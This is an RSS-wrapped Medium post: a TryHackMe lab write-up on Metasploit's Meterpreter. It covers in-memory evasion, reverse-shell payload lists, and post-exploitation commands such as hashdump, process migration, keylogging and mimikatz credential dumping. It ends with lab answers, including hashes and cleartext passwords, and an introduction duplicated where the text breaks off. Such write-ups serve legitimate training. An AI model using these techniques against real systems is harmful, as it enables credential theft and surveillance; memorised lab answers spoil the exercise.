<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Sonal on Medium]]></title>
        <description><![CDATA[Stories by Sonal on Medium]]></description>
        <link>https://medium.com/@sonalblue?source=rss-b61984778fce------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*VRDsEbrqN4KJ9_smyJLnPQ.jpeg</url>
            <title>Stories by Sonal on Medium</title>
            <link>https://medium.com/@sonalblue?source=rss-b61984778fce------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 00:06:01 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sonalblue/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Metasploit: Meterpreter — TryHackMe Writeup.]]></title>
            <link>https://medium.com/@sonalblue/metasploit-meterpreter-tryhackme-writeup-a3783b7a0b5e?source=rss-b61984778fce------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3783b7a0b5e</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[metasploit]]></category>
            <category><![CDATA[meterpreter]]></category>
            <dc:creator><![CDATA[Sonal]]></dc:creator>
            <pubDate>Mon, 09 Nov 2026 13:54:49 GMT</pubDate>
            <atom:updated>2026-11-09T13:54:49.039Z</atom:updated>
            <content:encoded><![CDATA[<h3>What is Meterpreter?</h3><p>Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components.</p><p>Meterpreter will run on the target system and act as an agent within a command and control architecture.</p><p>You will interact with the target operating system and files and use Meterpreter’s specialized commands.</p><p>Meterpreter has many versions which will provide different functionalities based on the target system.</p><h3>#How does Meterpreter work?</h3><p>Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target.</p><p>This feature aims to avoid being detected during antivirus scans. By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM — Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe).</p><p>This way, Meterpreter will be seen as a process and not have a file on the target system.</p><p>Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine).</p><p>If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities.</p><p>While Meterpreter is recognized by major antivirus software, this feature provides some degree of stealth.</p><p>The example below shows a target Windows machine exploited using the MS17–010 vulnerability. You will see Meterpreter is running with a process ID (PID) of 1304; this PID will be different in your case. We have used the getpid command, which returns the process ID with which Meterpreter is running.</p><p>The process ID (or process identifier) is used by operating systems to identify running processes. All processes running in Linux or Windows will have a unique ID number; this number is used to interact with the process when the need arises (e.g. if it needs to be stopped).</p><pre>meterpreter &gt; getpid <br>Current pid: 1304</pre><p>If we list processes running on the target system using the ps command, we see PID 1304 is spoolsv.exe and not Meterpreter.exe, as one might expect.</p><pre>meterpreter &gt; ps</pre><pre>Process List<br>============<br> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]                                                   <br> 4     0     System                x64   0                                      <br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe  1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe</pre><p>Even if we were to go a step further and look at DLLs (Dynamic-Link Libraries) used by the Meterpreter process (PID 1304 in this case), we still would not find anything jumping at us (e.g. no meterpreter.dll)</p><p>TheMeterpreterprocess</p><pre>C:\Windows\system32&gt;tasklist /m /fi &quot;pid eq 1304&quot;<br>tasklist /m /fi &quot;pid eq 1304&quot;</pre><pre>Image Name                     PID Modules                                     <br>========================= ======== ============================================<br>spoolsv.exe                   1304 ntdll.dll, kernel32.dll, KERNELBASE.dll,    <br>                                   msvcrt.dll, sechost.dll, RPCRT4.dll,        <br>                                   USER32.dll, GDI32.dll, LPK.dll, USP10.dll,  <br>                                   POWRPROF.dll, SETUPAPI.dll, CFGMGR32.dll,   <br>                                   ADVAPI32.dll, OLEAUT32.dll, ole32.dll,      <br>                                   DEVOBJ.dll, DNSAPI.dll, WS2_32.dll,         <br>                                   NSI.dll, IMM32.DLL, MSCTF.dll,              <br>                                   CRYPTBASE.dll, slc.dll, RpcRtRemote.dll,    <br>                                   secur32.dll, SSPICLI.DLL, credssp.dll,      <br>                                   IPHLPAPI.DLL, WINNSI.DLL, mswsock.dll,      <br>                                   wshtcpip.dll, wship6.dll, rasadhlp.dll,     <br>                                   fwpuclnt.dll, CLBCatQ.DLL, umb.dll,         <br>                                   ATL.DLL, WINTRUST.dll, CRYPT32.dll,         <br>                                   MSASN1.dll, localspl.dll, SPOOLSS.DLL,      <br>                                   srvcli.dll, winspool.drv,                   <br>                                   PrintIsolationProxy.dll, FXSMON.DLL,        <br>                                   tcpmon.dll, snmpapi.dll, wsnmp32.dll,       <br>                                   msxml6.dll, SHLWAPI.dll, usbmon.dll,        <br>                                   wls0wndh.dll, WSDMon.dll, wsdapi.dll,       <br>                                   webservices.dll, FirewallAPI.dll,           <br>                                   VERSION.dll, FunDisc.dll, fdPnp.dll,        <br>                                   winprint.dll, USERENV.dll, profapi.dll,     <br>                                   GPAPI.dll, dsrole.dll, win32spl.dll,        <br>                                   inetpp.dll, DEVRTL.dll, SPINF.dll,          <br>                                   CRYPTSP.dll, rsaenh.dll, WINSTA.dll,        <br>                                   cscapi.dll, netutils.dll, WININET.dll,      <br>                                   urlmon.dll, iertutil.dll, WINHTTP.dll,      <br>                                   webio.dll, SHELL32.dll, MPR.dll,            <br>                                   NETAPI32.dll, wkscli.dll, PSAPI.DLL,        <br>                                   WINMM.dll, dhcpcsvc6.DLL, dhcpcsvc.DLL,     <br>                                   apphelp.dll, NLAapi.dll, napinsp.dll,       <br>                                   pnrpnsp.dll, winrnr.dll                     <br>C:\Windows\system32&gt;</pre><p>Techniques and tools that can be used to detect Meterpreter are beyond the scope of this room. This section aimed to show you how stealthy Meterpreter is running; remember, most antivirus software will detect it.</p><p>It is also worth noting that Meterpreter will establish an encrypted (TLS) communication channel with the attacker’s system.</p><p>No answer needed for this task.</p><h3>Task 2: Meterpreter Flavors</h3><p>As discussed in the previous Metasploit rooms, linked below, Metasploit payloads can be initially divided into two categories; inline (also called single) and staged.</p><p>Introduction to Metasploit: <a href="https://www.tryhackme.com/jr/metasploitintro">https://www.tryhackme.com/jr/metasploitintro</a></p><p>Scanning and Exploitation with Metasploit: <a href="https://www.tryhackme.com/jr/metasploitexploitation">https://www.tryhackme.com/jr/metasploitexploitation</a></p><p>As you will remember, staged payloads are sent to the target in two steps. An initial part is installed (the stager) and requests the rest of the payload. This allows for a smaller initial payload size. The inline payloads are sent in a single step. Meterpreter payloads are also divided into stagged and inline versions. However, Meterpreter has a wide range of different versions you can choose from based on your target system.</p><p>The easiest way to have an idea about available Meterpreter versions could be to list them using msfvenom, as seen below.</p><p>We have used the msfvenom --list payloads command and grepped &quot;meterpreter&quot; payloads (adding | grep meterpreter to the command line), so the output only shows these. You can try this command on the AttackBox.</p><pre>root@ip-10-10-186-44:~# msfvenom --list payloads | grep meterpreter<br>    android/meterpreter/reverse_http                    Run a meterpreter server in Android. Tunnel communication over HTTP<br>    android/meterpreter/reverse_https                   Run a meterpreter server in Android. Tunnel communication over HTTPS<br>    android/meterpreter/reverse_tcp                     Run a meterpreter server in Android. Connect back stager<br>    android/meterpreter_reverse_http                    Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_https                   Connect back to attacker and spawn a Meterpreter shell<br>    android/meterpreter_reverse_tcp                     Connect back to the attacker and spawn a Meterpreter shell<br>    apple_ios/aarch64/meterpreter_reverse_http          Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_https         Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/aarch64/meterpreter_reverse_tcp           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_http            Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_https           Run the Meterpreter / Mettle server payload (stageless)<br>    apple_ios/armle/meterpreter_reverse_tcp             Run the Meterpreter / Mettle server payload (stageless)<br>    java/meterpreter/bind_tcp                           Run a meterpreter server in Java. Listen for a connection<br>    java/meterpreter/reverse_http                       Run a meterpreter server in Java. Tunnel communication over HTTP<br>    java/meterpreter/reverse_https                      Run a meterpreter server in Java. Tunnel communication over HTTPS<br>    java/meterpreter/reverse_tcp                        Run a meterpreter server in Java. Connect back stager<br>    linux/aarch64/meterpreter/reverse_tcp               Inject the mettle server payload (staged). Connect back to the attacker<br>    linux/aarch64/meterpreter_reverse_http              Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_https             Run the Meterpreter / Mettle server payload (stageless)<br>    linux/aarch64/meterpreter_reverse_tcp               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_http                Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_https               Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armbe/meterpreter_reverse_tcp                 Run the Meterpreter / Mettle server payload (stageless)<br>    linux/armle/meterpreter/bind_tcp                    Inject the mettle server payload (staged). Listen for a connection<br>    linux/armle/meterpreter/reverse_tcp                 Inject the mettle server payload (staged). Connect back to the attacker [...]</pre><p>The list will show Meterpreter versions available for the following platforms;</p><ul><li>Android</li><li>Apple iOS</li><li>Java</li><li>Linux</li><li>OSX</li><li>PHP</li><li>Python</li><li>Windows</li></ul><p>Your decision on which version of Meterpreter to use will be mostly based on three factors;</p><ul><li>The target operating system (Is the target operating system Linux or Windows? Is it a Mac device? Is it an Android phone? etc.)</li><li>Components available on the target system (Is Python installed? Is this a PHP website? etc.)</li><li>Network connection types you can have with the target system (Do they allow raw TCP connections? Can you only have an HTTPS reverse connection? Are IPv6 addresses not as closely monitored as IPv4 addresses? etc.)</li></ul><p>If you are not using Meterpreter as a standalone payload generated by Msfvenom, your choice may also be limited by the exploit. You will notice some exploits will have a default Meterpreter payload, as you can see in the example below with the ms17_010_eternalblue exploit.</p><pre>msf6 &gt; use exploit/windows/smb/ms17_010_eternalblue <br>[*] Using configured payload windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt;</pre><p>You can also list other available payloads using the show payloads command with any module.</p><pre>msf6 exploit(windows/smb/ms17_010_eternalblue) &gt; show payloads </pre><pre>Compatible Payloads<br>===================<br>   #   Name                                        Disclosure Date  Rank    Check  Description<br>   -   ----                                        ---------------  ----    -----  -----------<br>   0   generic/custom                                               manual  No     Custom Payload<br>   1   generic/shell_bind_tcp                                       manual  No     Generic Command Shell, Bind TCP Inline<br>   2   generic/shell_reverse_tcp                                    manual  No     Generic Command Shell, Reverse TCP Inline<br>   3   windows/x64/exec                                             manual  No     Windows x64 Execute Command<br>   4   windows/x64/loadlibrary                                      manual  No     Windows x64 LoadLibrary Path<br>   5   windows/x64/messagebox                                       manual  No     Windows MessageBox x64<br>   6   windows/x64/meterpreter/bind_ipv6_tcp                        manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager<br>   7   windows/x64/meterpreter/bind_ipv6_tcp_uuid                   manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support<br>   8   windows/x64/meterpreter/bind_named_pipe                      manual  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager [...]</pre><p>No answer needed</p><h3>Task 3: Meterpreter Commands</h3><p>Typing help on any Meterpreter session (shown by meterpreter&gt; at the prompt) will list all available commands.</p><pre>meterpreter &gt; help</pre><pre>Core Commands<br>=============<br>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p>Every version of Meterpreter will have different command options, so running the help command is always a good idea. Commands are built-in tools available on Meterpreter. They will run on the target system without loading any additional script or executable files.</p><p>Meterpreter will provide you with three primary categories of tools;</p><ul><li>Built-in commands</li><li>Meterpreter tools</li><li>Meterpreter scripting</li></ul><p>If you run the help command, you will see Meterpreter commands are listed under different categories.</p><ul><li>Core commands</li><li>File system commands</li><li>Networking commands</li><li>System commands</li><li>User interface commands</li><li>Webcam commands</li><li>Audio output commands</li><li>Elevate commands</li><li>Password database commands</li><li>Timestomp commands</li></ul><p>Please note that the list above was taken from the output of the help command on the Windows version of Meterpreter (windows/x64/meterpreter/reverse_tcp). These will be different for other Meterpreter versions.</p><p><strong>Meterpreter commands</strong></p><p>Core commands will be helpful to navigate and interact with the target system. Below are some of the most commonly used. Remember to check all available commands running the help command once a Meterpreter session has started.</p><p>Core commands</p><ul><li>background: Backgrounds the current session</li><li>exit: Terminate the Meterpreter session</li><li>guid: Get the session GUID (Globally Unique Identifier)</li><li>help: Displays the help menu</li><li>info: Displays information about a Post module</li><li>irb: Opens an interactive Ruby shell on the current session</li><li>load: Loads one or more Meterpreter extensions</li><li>migrate: Allows you to migrate Meterpreter to another process</li><li>run: Executes a Meterpreter script or Post module</li><li>sessions: Quickly switch to another session</li></ul><p>File system commands</p><ul><li>cd: Will change directory</li><li>ls: Will list files in the current directory (dir will also work)</li><li>pwd: Prints the current working directory</li><li>edit: will allow you to edit a file</li><li>cat: Will show the contents of a file to the screen</li><li>rm: Will delete the specified file</li><li>search: Will search for files</li><li>upload: Will upload a file or directory</li><li>download: Will download a file or directory</li></ul><p>Networking commands</p><ul><li>arp: Displays the host ARP (Address Resolution Protocol) cache</li><li>ifconfig: Displays network interfaces available on the target system</li><li>netstat: Displays the network connections</li><li>portfwd: Forwards a local port to a remote service</li><li>route: Allows you to view and modify the routing table</li></ul><p>System commands</p><ul><li>clearev: Clears the event logs</li><li>execute: Executes a command</li><li>getpid: Shows the current process identifier</li><li>getuid: Shows the user that Meterpreter is running as</li><li>kill: Terminates a process</li><li>pkill: Terminates processes by name</li><li>ps: Lists running processes</li><li>reboot: Reboots the remote computer</li><li>shell: Drops into a system command shell</li><li>shutdown: Shuts down the remote computer</li><li>sysinfo: Gets information about the remote system, such as OS</li></ul><p>Others Commands (these will be listed under different menu categories in the help menu)</p><ul><li>idletime: Returns the number of seconds the remote user has been idle</li><li>keyscan_dump: Dumps the keystroke buffer</li><li>keyscan_start: Starts capturing keystrokes</li><li>keyscan_stop: Stops capturing keystrokes</li><li>screenshare: Allows you to watch the remote user&#39;s desktop in real time</li><li>screenshot: Grabs a screenshot of the interactive desktop</li><li>record_mic: Records audio from the default microphone for X seconds</li><li>webcam_chat: Starts a video chat</li><li>webcam_list: Lists webcams</li><li>webcam_snap: Takes a snapshot from the specified webcam</li><li>webcam_stream: Plays a video stream from the specified webcam</li><li>getsystem: Attempts to elevate your privilege to that of local system</li><li>hashdump: Dumps the contents of the SAM database</li></ul><p>Although all these commands may seem available under the help menu, they may not all work. For example, the target system might not have a webcam, or it can be running on a virtual machine without a proper desktop environment.</p><p>No answer needed for this room.</p><h3>Task 4: Post-Exploitation with Meterpreter</h3><p>Meterpreter provides you with many useful commands that facilitate the post-exploitation phase. Below are a few examples you will often use.</p><p><strong>Help</strong></p><p>This command will give you a list of all available commands in Meterpreter. As we have seen earlier, Meterpreter has many versions, and each version may have different options available. Typing help once you have a Meterpreter session will help you quickly browse through available commands.</p><pre>meterpreter &gt; help</pre><pre>Core Commands<br>=============<br>    Command                   Description<br>    -------                   -----------<br>    ?                         Help menu<br>    background                Backgrounds the current session<br>    bg                        Alias for background<br>    bgkill                    Kills a background meterpreter script<br>    bglist                    Lists running background scripts<br>    bgrun                     Executes a meterpreter script as a background thread<br>    channel                   Displays information or control active channels<br>    close                     Closes a channel[...]</pre><p><strong>Meterpreter commands</strong></p><p>The getuid command will display the user with which Meterpreter is currently running. This will give you an idea of your possible privilege level on the target system (e.g. Are you an admin level user like NT AUTHORITY\SYSTEM or a regular user?)</p><pre>meterpreter &gt; getuid<br>Server username: NT AUTHORITY\SYSTEM<br>meterpreter &gt;</pre><p>The ps command will list running processes. The PID column will also give you the PID information you will need to migrate Meterpreter to another process.</p><pre>meterpreter &gt; ps</pre><pre>Process List<br>============<br> PID   PPID  Name                  Arch  Session  User                          Path<br> ---   ----  ----                  ----  -------  ----                          ----<br> 0     0     [System Process]                                                   <br> 4     0     System                x64   0                                      <br> 396   644   LogonUI.exe           x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe<br> 416   4     smss.exe              x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe<br> 428   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 548   540   csrss.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 596   540   wininit.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe<br> 604   588   csrss.exe             x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe<br> 644   588   winlogon.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.exe<br> 692   596   services.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.exe<br> 700   692   sppsvc.exe            x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 716   596   lsass.exe             x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe<br> 724   596   lsm.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe<br> 764   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 828   692   svchost.exe           x64   0        NT AUTHORITY\SYSTEM           <br> 864   828   WmiPrvSE.exe                                                       <br> 900   692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 952   692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1076  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1164  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe<br> 1168  692   svchost.exe           x64   0        NT AUTHORITY\NETWORK SERVICE  <br> 1244  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe<br> 1276  1304  cmd.exe               x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\cmd.exe<br> 1304  692   spoolsv.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe<br> 1340  692   svchost.exe           x64   0        NT AUTHORITY\LOCAL SERVICE    <br> 1388  548   conhost.exe           x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\conhost.exe[...]</pre><p><strong>Migrate</strong></p><p>Migrating to another process will help Meterpreter interact with it. For example, if you see a word processor running on the target (e.g. word.exe, notepad.exe, etc.), you can migrate to it and start capturing keystrokes sent by the user to this process. Some Meterpreter versions will offer you the keyscan_start, keyscan_stop, and keyscan_dump command options to make Meterpreter act like a keylogger. Migrating to another process may also help you to have a more stable Meterpreter session.</p><p>To migrate to any process, you need to type the migrate command followed by the PID of the desired target process. The example below shows Meterpreter migrating to process ID 716.</p><pre>meterpreter &gt; migrate 716<br>[*] Migrating from 1304 to 716...<br>[*] Migration completed successfully.<br>meterpreter &gt;</pre><p>Be careful; you may lose your user privileges if you migrate from a higher privileged (e.g. SYSTEM) user to a process started by a lower privileged user (e.g. webserver). You may not be able to gain them back.</p><p><strong>Hashdump</strong></p><p>The hashdump command will list the content of the SAM database. The SAM (Security Account Manager) database stores user&#39;s passwords on Windows systems. These passwords are stored in the NTLM (New Technology LAN Manager) format.</p><pre>meterpreter &gt; hashdump<br>Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::<br>Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::<br>meterpreter &gt;</pre><p>While it is not mathematically possible to “crack” these hashes, you may still discover the cleartext password using online NTLM databases or a rainbow table attack. These hashes can also be used in Pass-the-Hash attacks to authenticate to other systems that these users can access the same network.</p><p><strong>Search</strong></p><p>The search command is useful to locate files with potentially juicy information. In a CTF context, this can be used to quickly find a flag or proof file, while in actual penetration testing engagements, you may need to search for user-generated files or configuration files that may contain password or account information.</p><pre>meterpreter &gt; search -f flag2.txt<br>Found 1 result...<br>    c:\Windows\System32\config\flag2.txt (34 bytes)<br>meterpreter &gt;</pre><p><strong>Shell</strong></p><p>The shell command will launch a regular command-line shell on the target system. Pressing CTRL+Z will help you go back to the Meterpreter shell.</p><pre>meterpreter &gt; shell<br>Process 2124 created.<br>Channel 1 created.<br>Microsoft Windows [Version 6.1.7601]<br>Copyright (c) 2009 Microsoft Corporation.  All rights reserved.</pre><pre>C:\Windows\system32&gt;</pre><p>No answer needed for this room.</p><h3>Task 5: Post-Exploitation Challenge</h3><p>Commands mentioned previously, such as getsystem and hashdump will provide important leverage and information for privilege escalation and lateral movement. Meterpreter is also a good base you can use to run post-exploitation modules available on the Metasploit framework. Finally, you can also use the <strong>load </strong>command to leverage additional tools such as Kiwi or even the whole Python language.</p><pre>meterpreter &gt; load python<br>Loading extension python...Success.<br>meterpreter &gt; python_execute &quot;print &#39;TryHackMe Rocks!&#39;&quot;<br>[+] Content written to stdout:<br>TryHackMe Rocks!</pre><pre>meterpreter &gt;</pre><p>The post-exploitation phase will have several goals; Meterpreter has functions that can assist all of them.</p><ul><li>Gathering further information about the target system.</li><li>Looking for interesting files, user credentials, additional network interfaces, and generally interesting information on the target system.</li><li>Privilege escalation.</li><li>Lateral movement.</li></ul><p>Once any additional tool is loaded using the load command, you will see new options on the help menu. The example below shows commands added for the Kiwi module (using the load kiwi command).</p><pre>meterpreter &gt; load kiwi<br>Loading extension kiwi...<br>  .#####.   mimikatz 2.2.0 20191125 (x64/windows)<br> .## ^ ##.  &quot;A La Vie, A L&#39;Amour&quot; - (oe.eo)<br> ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )<br> ## \ / ##       &gt; http://blog.gentilkiwi.com/mimikatz<br> &#39;## v ##&#39;        Vincent LE TOUX            ( vincent.letoux@gmail.com )<br>  &#39;#####&#39;         &gt; http://pingcastle.com / http://mysmartlogon.com  ***/</pre><pre>Success.</pre><p>These will change according to the loaded menu, so running the help command after loading a module is always a good idea.</p><pre>Kiwi Commands<br>=============</pre><pre>Command                Description<br>    -------                -----------<br>    creds_all              Retrieve all credentials (parsed)<br>    creds_kerberos         Retrieve Kerberos creds (parsed)<br>    creds_msv              Retrieve LM/NTLM creds (parsed)<br>    creds_ssp              Retrieve SSP creds<br>    creds_tspkg            Retrieve TsPkg creds (parsed)<br>    creds_wdigest          Retrieve WDigest creds (parsed)<br>    dcsync                 Retrieve user account information via DCSync (unparsed)<br>    dcsync_ntlm            Retrieve user account NTLM hash, SID and RID via DCSync<br>    golden_ticket_create   Create a golden kerberos ticket<br>    kerberos_ticket_list   List all kerberos tickets (unparsed)<br>    kerberos_ticket_purge  Purge any in-use kerberos tickets<br>    kerberos_ticket_use    Use a kerberos ticket<br>    kiwi_cmd               Execute an arbitary mimikatz command (unparsed)<br>    lsa_dump_sam           Dump LSA SAM (unparsed)<br>    lsa_dump_secrets       Dump LSA secrets (unparsed)<br>    password_change        Change the password/hash of a user<br>    wifi_list              List wifi profiles/creds for the current user<br>    wifi_list_shared       List shared wifi profiles/creds (requires SYSTEM)</pre><p>The questions below will help you have a better understanding of how Meterpreter can be used in post-exploitation.</p><p>You can use the credentials below to simulate an initial compromise over SMB (Server Message Block) (using exploit/windows/smb/psexec)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/871/0*I_yJLJZ2DQakyFGi.png" /></figure><p>set RHOSTS TARGET_IP</p><p>set SMBUser Username</p><p>set SMBPass Password</p><p>then run</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/0*Fyalp4EwRZ_4W2bh.png" /></figure><p>Q1:What is the computer name?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/0*hhRVYqggx9FOP7Mu.png" /></figure><pre>ACME-TEST</pre><p>Q2:What is the target domain?</p><pre>FLAS</pre><p>Q3:What is the name of the share likely created by the user?</p><p>If you see meterpeter command line, type background then search smb share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/846/0*Qym5SeG2jGT2AOya.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*4wuycQqvgoVsRdGU.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/0*00k_aj7qdLBFaSzC.png" /></figure><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/0*N8RX20aBSQrKSJjT.png" /></figure><pre>speedster</pre><p>Q4:What is the NTLM hash of the jchambers user?</p><p>We need to get back to meterpreter. type sessions -i 1</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*OyVwkZKxeW_g-P2-.png" /></figure><pre>69596c7aa1e8daee17f8e78870e25a5c</pre><p>Q5:What is the cleartext password of the jchambers user?</p><p>Go to <a href="https://crackstation.net/">https://crackstation.net/</a></p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*O8lEDRLN6cglpasm.png" /></figure><pre>Trustno1</pre><p>Q6:Where is the “secrets.txt” file located? (Full path of the file)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*KPD1k5DdAIS4-hyU.png" /></figure><pre>c:\Program Files (x86)\Windows Multimedia Platform\secrets.txt</pre><p>Q7:What is the Twitter password revealed in the “secrets.txt” file?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*yh851xTkjNp4-u3w.png" /></figure><pre>KDSvbsw3849!</pre><p>Q8:Where is the “realsecret.txt” file located? (Full path of the file)</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/0*ICfC_CwL84n48tOa.png" /></figure><pre>c:\inetpub\wwwroot\realsecret.txt</pre><p>Q9:What is the real secret?</p><p>Press enter or click to view image in full size</p><figure><img alt="" src="https://cdn-images-1.medium.com/proxy/1*b31hiO4ynbDLRrXWEFF4aQ.png" /><figcaption>Task 1: Introduction to Meterpreter</figcaption></figure><p>Meterpreter is a Metasploit payload that supports the penetration testing process with many valuable components. Meterpreter will run on the target system and act as an agent within a command and control architecture. You will interact with the target operating system and files and use Meterpreter’s specialized commands.</p><p>Meterpreter has many versions which will provide different functionalities based on the target system.</p><h3>How does Meterpreter work?</h3><p>Meterpreter runs on the target system but is not installed on it. It runs in memory and does not write itself to the disk on the target. This feature aims to avoid being detected during antivirus scans.</p><p>By default, most antivirus software will scan new files on the disk (e.g. when you download a file from the internet) Meterpreter runs in memory (RAM — Random Access Memory) to avoid having a file that has to be written to the disk on the target system (e.g. meterpreter.exe). This way, Meterpreter will be seen as a process and not have a file on the target system.</p><p>Meterpreter also aims to avoid being detected by network-based IPS (Intrusion Prevention System) and IDS (Intrusion Detection System) solutions by using encrypted communication with the server where Metasploit runs (typically your attacking machine).</p><p>If the target organization does not decrypt and inspect encrypted traffic (e.g. HTTPS) coming to and going out of the local network, IPS and IDS solutions will not be able to detect its activities.</p><p>While Meterpreter is recognized by major antivirus software, this feature provides some degree of stealth.</p><p>The example below shows a target Windows machine exploited using the MS17–010 vulnerability. You will see Meterpreter is running with a process ID (PID) of 1304; this PID will be different in your case. We have used 